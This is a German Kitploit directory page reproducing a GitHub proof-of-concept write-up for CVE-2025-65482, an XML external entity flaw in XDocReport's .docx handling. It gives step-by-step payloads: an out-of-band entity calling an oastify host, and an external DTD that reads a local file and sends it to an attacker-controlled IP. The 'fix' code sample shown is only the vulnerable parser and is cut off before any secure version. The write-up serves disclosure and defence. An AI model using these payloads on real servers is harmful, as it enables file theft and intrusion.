Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationPapers & ForschungLernen & Bildung
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Repository anzeigen
110vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) in XDocReport

Bug Definition

XML External Entity Injection

Überblick über die Schwachstelle

  • XML External Entity Injection (XXE) ist eine Schwachstelle bei der Verarbeitung von XML-Daten, bei der der Benutzer XML-Daten mit einem Verweis auf eine externe Datei oder ein externes System einfügt. Ein Angreifer kann diese identifizierte XXE-Schwachstelle nutzen, um andere Systeme auf offene Dienstports zu scannen, geheime Dateien anzufordern und auf Funktionen verbundener Systeme zuzugreifen, die sonst nicht verfügbar wären. Von hier aus kann der Angreifer Daten extrahieren, mit Systemen interagieren und Dienstunterbrechungen durch das Einfügen von XML verursachen.

Geschäftliche Auswirkungen

  • XXE kann zu Reputationsschäden für das Unternehmen führen, da Benutzer das Vertrauen und die Zuversicht verlieren. Es kann auch zu Datendiebstahl und indirekten finanziellen Verlusten für das Unternehmen durch Benachrichtigungskosten, Behebung und kompromittierte PII-Daten führen.

Severity HIGH

image

Description and Impact

Die Personalverwaltungs-Website erlaubt Benutzern, .docx-Dokumentdateien auf das System hochzuladen. Während der Verarbeitung verwendet die Anwendung die Bibliothek fr.opensagres.xdocreport.document.docx, die eine XXE-Schwachstelle enthält, wenn die .docx-Datei des Benutzers durch SAXParser geleitet wird.

Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (Versionen =< 2.0.3)

Root cause analysis

Ursache: Verwendung von Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Das bedeutet, dass Apache POI sehr tief im Modul liegt:

org.apache.poi.xwpf.converter.core

image

Der Fehler tritt auf, weil XDocReport (im Modul fr.opensagres.xdocreport.document.docx) Apache POI verwendet, um .docx-Dateien zu lesen, wobei POI den standardmäßigen Java-SAXParser verwendet, ohne die Funktionen zu deaktivieren, die die Verarbeitung von DTD und External Entities erlauben. → Dies ermöglicht es einem Angreifer, ein DOCTYPE mit einer Entity einzufügen, die auf eine externe Ressource verweist (SYSTEM "http://...") oder auf eine interne Datei (file:///...) → dies führt zu XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Step to reproduce

  • Entpacken Sie eine beliebige docx-Datei:
unzip ../vcspentest.docx

image

  • Bearbeiten Sie den Inhalt der Datei document.xml in der docx-Datei:
nano word/document.xml

image

Bearbeiten Sie mit folgendem Out-of-Bound-Payload für Collabrator:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Packen Sie es wieder in eine poc-Datei:
 zip -r ../poc.docx *

image

image

  • Laden Sie die bearbeitete docx-Datei hoch, um sie von xdocreport verarbeiten zu lassen:

image

  • Ergebnis: Es wird eine Anfrage an den Collabrator gesendet:

image

  • Erhöhen des Impacts: Lesen einer Datei im System
  • Host-Maschine, die die dtd-Datei auf der WSL-Maschine speichert: 172.26.208.130. Inhalt der Datei vcspentest.dtd:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Bearbeiten Sie die Datei word/document.xml in der .docx-Datei mit folgendem Inhalt, um die externe dtd von der WSL-Maschine zu laden:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Packen Sie die Datei wieder als .docx und laden Sie sie auf den Server zur Verarbeitung hoch:

image

image

  • Auf der WSL-Maschine wird eine Anfrage mit dem Inhalt der Datei D:/vcspentest.txt auf dem Zielserver empfangen:

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

Im Code oder auf der Ebene der XML-Parser-Konfiguration müssen alle Funktionen in Bezug auf DTD und externe Entitäten deaktiviert werden.

Ein Fix ähnlich diesem Code:

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
Tool herunterladen